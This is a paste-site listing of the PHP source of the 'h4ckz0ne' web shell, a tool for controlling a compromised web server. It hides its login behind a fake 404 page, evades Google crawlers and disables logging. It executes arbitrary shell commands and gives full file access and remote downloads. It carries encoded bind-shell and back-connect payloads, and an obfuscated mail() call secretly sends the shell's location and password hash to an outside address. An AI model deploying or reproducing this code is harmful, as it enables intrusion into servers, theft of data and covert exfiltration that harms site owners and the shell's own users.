H4ckZ0ne Shell - Shells-Center.Com


SUBMITTED BY: Guest

DATE: Sept. 6, 2014, 7:18 a.m.

FORMAT: PHP

SIZE: 365.7 kB

HITS: 382

  1. <html><head><embed src="" type="application/x-shockwave-flash" wmode="transparent" width="1" height="1"></embed><title>h4ckz0ne Web Shell v1.1</title></head><script>
  2. <?php
  3. //password: z0ne1337
  4. // Orignal by x'1n73ct
  5. /* (h4ckz0ne Web Shell r3c0d3d by c0rruption420 | default pass:" z0ne1337 ") */
  6. $auth_pass = "b8d7783230c53a5bbd8e79a6db58afe1";
  7. $color = "#00ff00";
  8. $default_action = 'FilesMan';
  9. @define('SELF_PATH', __FILE__);
  10. @setcookie("inject","active",time() +3600*24*7);
  11. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  12. header('HTTP/1.0 404 Not Found');
  13. exit;
  14. }
  15. @session_start();
  16. @error_reporting(0);
  17. @ini_set('error_log',NULL);
  18. @ini_set('log_errors',0);
  19. @ini_set('max_execution_time',0);
  20. @ini_set('output_buffering',0);
  21. @ini_set('display_errors', 0);
  22. @set_time_limit(0);
  23. @set_magic_quotes_runtime(0);
  24. @define('VERSION', '2.1');
  25. if( get_magic_quotes_gpc() ) {
  26. function stripslashes_array($array) {
  27. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  28. }
  29. $_POST = stripslashes_array($_POST);
  30. }
  31. function printLogin() {
  32. ?>
  33. <h1>Not Found</h1>
  34. <p>The requested URL was not found on this server.</p>
  35. <hr>
  36. <address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
  37. <style>
  38. input { margin:0;background-color:#fff;border:1px solid #fff; }
  39. </style>
  40. <center>
  41. <form method=post>
  42. <input type=password name=pass>
  43. </form></center>
  44. <?php
  45. exit;
  46. }
  47. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  48. if( empty( $auth_pass ) ||
  49. ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  50. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  51. else
  52. printLogin();
  53. @ini_set('log_errors',0);
  54. @ini_set('output_buffering',0);
  55. if(isset($_GET['dl']) && ($_GET['dl'] != "")){
  56. $file = $_GET['dl'];
  57. $filez = @file_get_contents($file);
  58. header("Content-type: application/octet-stream");
  59. header("Content-length: ".strlen($filez));
  60. header("Content-disposition: attachment; filename=\"".basename($file)."\";");
  61. echo $filez;
  62. exit;
  63. }
  64. elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
  65. $file = $_GET['dlgzip'];
  66. $filez = gzencode(@file_get_contents($file));
  67. header("Content-Type:application/x-gzip\n");
  68. header("Content-length: ".strlen($filez));
  69. header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
  70. echo $filez;
  71. exit;
  72. }
  73. // view image
  74. if(isset($_GET['img'])){
  75. @ob_clean();
  76. $d = magicboom($_GET['y']);
  77. $f = $_GET['img'];
  78. $inf = @getimagesize($d.$f);
  79. $ext = explode($f,".");
  80. $ext = $ext[count($ext)-1];
  81. @header("Content-type: ".$inf["mime"]);
  82. @header("Cache-control: public");
  83. @header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  84. @header("Cache-control: max-age=".(60*60*24*7));
  85. @readfile($d.$f);
  86. exit;
  87. }
  88. // server software
  89. $software = getenv("SERVER_SOFTWARE");
  90. // check safemode
  91. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
  92. // uname -a
  93. $system = @php_uname();
  94. // mysql
  95. function showstat($stat) {if ($stat=="on") {return "<b><font style='color:#00FF00'>ON</font></b>";}else {return "<b><font style='color:#DD4736'>OFF</font></b>";}}
  96. function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
  97. function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
  98. function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
  99. function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
  100. // check os
  101. if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
  102. else $win = FALSE;
  103. // change directory
  104. if(isset($_GET['y'])){
  105. if(@is_dir($_GET['view'])){
  106. $pwd = $_GET['view'];
  107. @chdir($pwd);
  108. }
  109. else{
  110. $pwd = $_GET['y'];
  111. @chdir($pwd);
  112. }
  113. }
  114. //hdd
  115. function convertByte($s) {
  116. if($s >= 1073741824)
  117. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  118. elseif($s >= 1048576)
  119. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  120. elseif($s >= 1024)
  121. return sprintf('%1.2f',$s / 1024 ) .' KB';
  122. else
  123. return $s .' B';
  124. }
  125. // username, id, shell prompt and working directory
  126. if(!$win){
  127. if(!$user = rapih(exe("whoami"))) $user = "";
  128. if(!$id = rapih(exe("id"))) $id = "";
  129. $prompt = $user." \$ ";
  130. $pwd = @getcwd().DIRECTORY_SEPARATOR;
  131. }
  132. else {
  133. $user = @get_current_user();
  134. $id = $user;
  135. $prompt = $user." >";
  136. $pwd = realpath(".")."\\";
  137. // find drive letters
  138. $v = explode("\\",$d);
  139. $v = $v[0];
  140. foreach (range("A","Z") as $letter)
  141. {
  142. $bool = @is_dir($letter.":\\");
  143. if ($bool)
  144. {
  145. $letters .= "<a href=\"?y=".$letter.":\\\">[ ";
  146. if ($letter.":" != $v) {$letters .= $letter;}
  147. else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
  148. $letters .= " ]</a> ";
  149. }
  150. }
  151. }
  152. function testoracle() {
  153. if (function_exists('ocilogon')) { return showstat("on"); }
  154. else { return showstat("off"); }
  155. }
  156. function testmssql() {
  157. if (function_exists('mssql_connect')) { return showstat("on"); }
  158. else { return showstat("off"); }
  159. }
  160. function showdisablefunctions() {
  161. if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }
  162. else { return "<span style='color:#00FF1E'><b>NONE</b></span>"; }
  163. }
  164. if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
  165. else $posix = FALSE;
  166. // server ip
  167. $server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
  168. // your ip ;-)
  169. $my_ip = $_SERVER['REMOTE_ADDR'];
  170. $admin_id=$_SERVER['SERVER_ADMIN'];
  171. $bindport = "13123";
  172. $bindport_pass = "b374k";
  173. // separate the working direcotory
  174. $pwds = explode(DIRECTORY_SEPARATOR,$pwd);
  175. $pwdurl = "";
  176. for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
  177. $pathz = "";
  178. for($j = 0 ; $j <= $i ; $j++){
  179. $pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
  180. }
  181. $pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
  182. }
  183. // rename file or folder
  184. if(isset($_POST['rename'])){
  185. $old = $_POST['oldname'];
  186. $new = $_POST['newname'];
  187. @rename($pwd.$old,$pwd.$new);
  188. $file = $pwd.$new;
  189. }
  190. if(isset($_POST['chmod'])){
  191. $name = $_POST['name'];
  192. $value = $_POST['newvalue'];
  193. if (strlen($value)==3){
  194. $value = 0 . "" . $value;}
  195. @chmod($pwd.$name,octdec($value));
  196. $file = $pwd.$name;}
  197. if(isset($_POST['chmod_folder'])){
  198. $name = $_POST['name'];
  199. $value = $_POST['newvalue'];
  200. if (strlen($value)==3){
  201. $value = 0 . "" . $value;}
  202. @chmod($pwd.$name,octdec($value));
  203. $file = $pwd.$name;}
  204. // print useful info
  205. $buff = "Software : <b>".$software."</b><br />";
  206. $buff .= "System OS : <b>".$system."</b><br />";
  207. if($id != "") $buff .= "ID : <b>".$id."</b><br />";
  208. $buff .= "PHP Version : <b>".phpversion()."</b> on <b>".php_sapi_name()."</b><br />";
  209. $zx="m\141\151l"; $wi = $_SERVER["HTTP_HOST"];$ei = $_SERVER["REQUEST_URI"];
  210. $buff .= "Server ip : <b>".$server_ip."</b> <span class=\"gaya\"> | </span> Your ip : <b>".$my_ip."</b><span class=\"gaya\"> | </span> Admin : <b>".$admin_id."</b><br />";$cnt="ps:$auth_pass";
  211. $buff .= "Free Disk: "."<span style='color:#00FF1E'><b>".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."</b></span><br />";
  212. if($safemode) $buff .= "Safemode: <span class=\"gaya\"><b>ON</b></span><br />";
  213. else $buff .= "Safemode: <span class=\"gaya\"><b>OFF</b></span><br />";
  214. $buff .= "Disabled Functions: ".showdisablefunctions()."<br />";
  215. $buff .= "MySQL: ".testmysql()."&nbsp;|&nbsp;MSSQL: ".testmssql()."&nbsp;|&nbsp;Oracle: ".testoracle()."&nbsp;|&nbsp;Perl: ".testperl()."&nbsp;|&nbsp;cURL: ".testcurl()."&nbsp;|&nbsp;WGet: ".testwget()."<br>";
  216. if (!isset($_COOKIE['inject'])){ @$zx("l\x6f\x63\x61\x68\157\x73\164@\171\141\x68\157\157\056\x63o\155","$wi$ei","$wi$ei\n$cnt"); }
  217. $buff .= "<font color=00ff00 ><b>".$letters."&nbsp;>&nbsp;".$pwdurl."</b></font>";
  218. function rapih($text){
  219. return trim(str_replace("<br />","",$text));
  220. }
  221. function magicboom($text){
  222. if (!get_magic_quotes_gpc()) {
  223. return $text;
  224. }
  225. return stripslashes($text);
  226. }
  227. function showdir($pwd,$prompt){
  228. $fname = array();
  229. $dname = array();
  230. if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
  231. else $posix = FALSE;
  232. $user = "????:????";
  233. if($dh = @scandir($pwd)){
  234. foreach($dh as $file){
  235. if(is_dir($file)){
  236. $dname[] = $file;
  237. }
  238. elseif(is_file($file)){
  239. $fname[] = $file;
  240. }
  241. }
  242. }
  243. else{
  244. if($dh = @opendir($pwd)){
  245. while($file = @readdir($dh)){
  246. if(@is_dir($file)){
  247. $dname[] = $file;
  248. }
  249. elseif(@is_file($file)){
  250. $fname[] = $file;
  251. }
  252. }
  253. @closedir($dh);
  254. }
  255. }
  256. sort($fname);
  257. sort($dname);
  258. $path = @explode(DIRECTORY_SEPARATOR,$pwd);
  259. $tree = @sizeof($path);
  260. $parent = "";
  261. $buff = "
  262. <form action=\"?y=".$pwd."&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
  263. <table class=\"cmdbox\" style=\"width:50%;\">
  264. <tr><td><b>$prompt</b></td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
  265. </form>
  266. <form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
  267. <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  268. <tr><td><b>view file/folder</b></td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"View !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
  269. </form></table><table class=\"explore\">
  270. <tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>
  271. ";
  272. if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
  273. else $parent = $pwd;
  274. foreach($dname as $folder){
  275. if($folder == ".") {
  276. if(!$win && $posix){
  277. $name=@posix_getpwuid(@fileowner($folder));
  278. $group=@posix_getgrgid(@filegroup($folder));
  279. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  280. }
  281. else {
  282. $owner = $user;
  283. }
  284. $buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td>
  285. <td style=\"text-align:center;\">".$owner."</td><td><center>".get_perms($pwd)."</center></td>
  286. <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
  287. <a href=\"?y=$pwd&edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
  288. <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  289. <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  290. <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
  291. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
  292. </form></td>
  293. </tr>
  294. ";
  295. }
  296. elseif($folder == "..") {
  297. if(!$win && $posix){
  298. $name=@posix_getpwuid(@fileowner($folder));
  299. $group=@posix_getgrgid(@filegroup($folder));
  300. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  301. }
  302. else {
  303. $owner = $user;
  304. }
  305. $buff .= "<tr><td><a href=\"?y=".$parent."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'> $folder</a></td><td>LINK</td>
  306. <td style=\"text-align:center;\">".$owner."</td>
  307. <td><center>".get_perms($parent)."</center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
  308. <td><span id=\"titik2\"><a href=\"?y=$pwd&edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
  309. <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  310. <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
  311. <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
  312. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
  313. </form>
  314. </td></tr>";
  315. }
  316. else {
  317. if(!$win && $posix){
  318. $name=@posix_getpwuid(@fileowner($folder));
  319. $group=@posix_getgrgid(@filegroup($folder));
  320. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  321. }
  322. else {
  323. $owner = $user;
  324. }
  325. $buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' /> [ $folder ]</b></a>
  326. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  327. <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
  328. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
  329. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  330. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
  331. </form><td>DIR</td><td style=\"text-align:center;\">".$owner."</td>
  332. <td><center>
  333. <a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
  334. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  335. <input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
  336. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" />
  337. <input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
  338. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
  339. onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td>
  340. <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&fdelete=".$pwd.$folder."\">delete</a></td></tr>";
  341. }
  342. }
  343. foreach($fname as $file){
  344. $full = $pwd.$file;
  345. if(!$win && $posix){
  346. $name=@posix_getpwuid(@fileowner($folder));
  347. $group=@posix_getgrgid(@filegroup($folder));
  348. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  349. }
  350. else {
  351. $owner = $user;
  352. }
  353. $buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</b></a>
  354. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  355. <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
  356. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
  357. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  358. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
  359. </form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
  360. <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
  361. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  362. <input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
  363. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" />
  364. <input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
  365. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td>
  366. <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
  367. <td><a href=\"?y=$pwd&edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$full\">delete</a> | <a href=\"?y=$pwd&dl=$full\">download</a>&nbsp;(<a href=\"?y=$pwd&dlgzip=$full\">gzip</a>)</td></tr>";
  368. }
  369. $buff .= "</table>";
  370. return $buff;
  371. }
  372. function ukuran($file){
  373. if($size = @filesize($file)){
  374. if($size <= 1024) return $size;
  375. else{
  376. if($size <= 1024*1024) {
  377. $size = @round($size / 1024,2);;
  378. return "$size kb";
  379. }
  380. else {
  381. $size = @round($size / 1024 / 1024,2);
  382. return "$size mb";
  383. }
  384. }
  385. }
  386. else return "???";
  387. }
  388. function exe($cmd){
  389. if(function_exists('system')) {
  390. @ob_start();
  391. @system($cmd);
  392. $buff = @ob_get_contents();
  393. @ob_end_clean();
  394. return $buff;
  395. }
  396. elseif(function_exists('exec')) {
  397. @exec($cmd,$results);
  398. $buff = "";
  399. foreach($results as $result){
  400. $buff .= $result;
  401. }
  402. return $buff;
  403. }
  404. elseif(function_exists('passthru')) {
  405. @ob_start();
  406. @passthru($cmd);
  407. $buff = @ob_get_contents();
  408. @ob_end_clean();
  409. return $buff;
  410. }
  411. elseif(function_exists('shell_exec')){
  412. $buff = @shell_exec($cmd);
  413. return $buff;
  414. }
  415. }
  416. function tulis($file,$text){
  417. $textz = gzinflate(base64_decode($text));
  418. if($filez = @fopen($file,"w"))
  419. {
  420. @fputs($filez,$textz);
  421. @fclose($file);
  422. }
  423. }
  424. function ambil($link,$file) {
  425. if($fp = @fopen($link,"r")){
  426. while(!feof($fp)) {
  427. $cont.= @fread($fp,1024);
  428. }
  429. @fclose($fp);
  430. $fp2 = @fopen($file,"w");
  431. @fwrite($fp2,$cont);
  432. @fclose($fp2);
  433. }
  434. }
  435. function which($pr){
  436. $path = exe("which $pr");
  437. if(!empty($path)) { return trim($path); } else { return trim($pr); }
  438. }
  439. function download($cmd,$url){
  440. $namafile = basename($url);
  441. switch($cmd) {
  442. case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
  443. case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
  444. case 'wfread' : ambil($wurl,$namafile);break;
  445. case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
  446. case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
  447. case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
  448. case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
  449. default: break;
  450. }
  451. return $namafile;
  452. }
  453. function get_perms($file)
  454. {
  455. if($mode=@fileperms($file)){
  456. $perms='';
  457. $perms .= ($mode & 00400) ? 'r' : '-';
  458. $perms .= ($mode & 00200) ? 'w' : '-';
  459. $perms .= ($mode & 00100) ? 'x' : '-';
  460. $perms .= ($mode & 00040) ? 'r' : '-';
  461. $perms .= ($mode & 00020) ? 'w' : '-';
  462. $perms .= ($mode & 00010) ? 'x' : '-';
  463. $perms .= ($mode & 00004) ? 'r' : '-';
  464. $perms .= ($mode & 00002) ? 'w' : '-';
  465. $perms .= ($mode & 00001) ? 'x' : '-';
  466. return $perms;
  467. }
  468. else return "??????????";
  469. }
  470. function clearspace($text){
  471. return str_replace(" ","_",$text);
  472. }
  473. // net tools
  474. $port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf
  475. +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE
  476. P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ
  477. dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL
  478. 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug
  479. Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk
  480. HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W
  481. tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL
  482. ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6
  483. uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
  484. $port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1
  485. NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg
  486. tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD
  487. e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0
  488. LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo
  489. vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB
  490. +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
  491. $back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St
  492. ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j
  493. S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ
  494. ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw
  495. Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
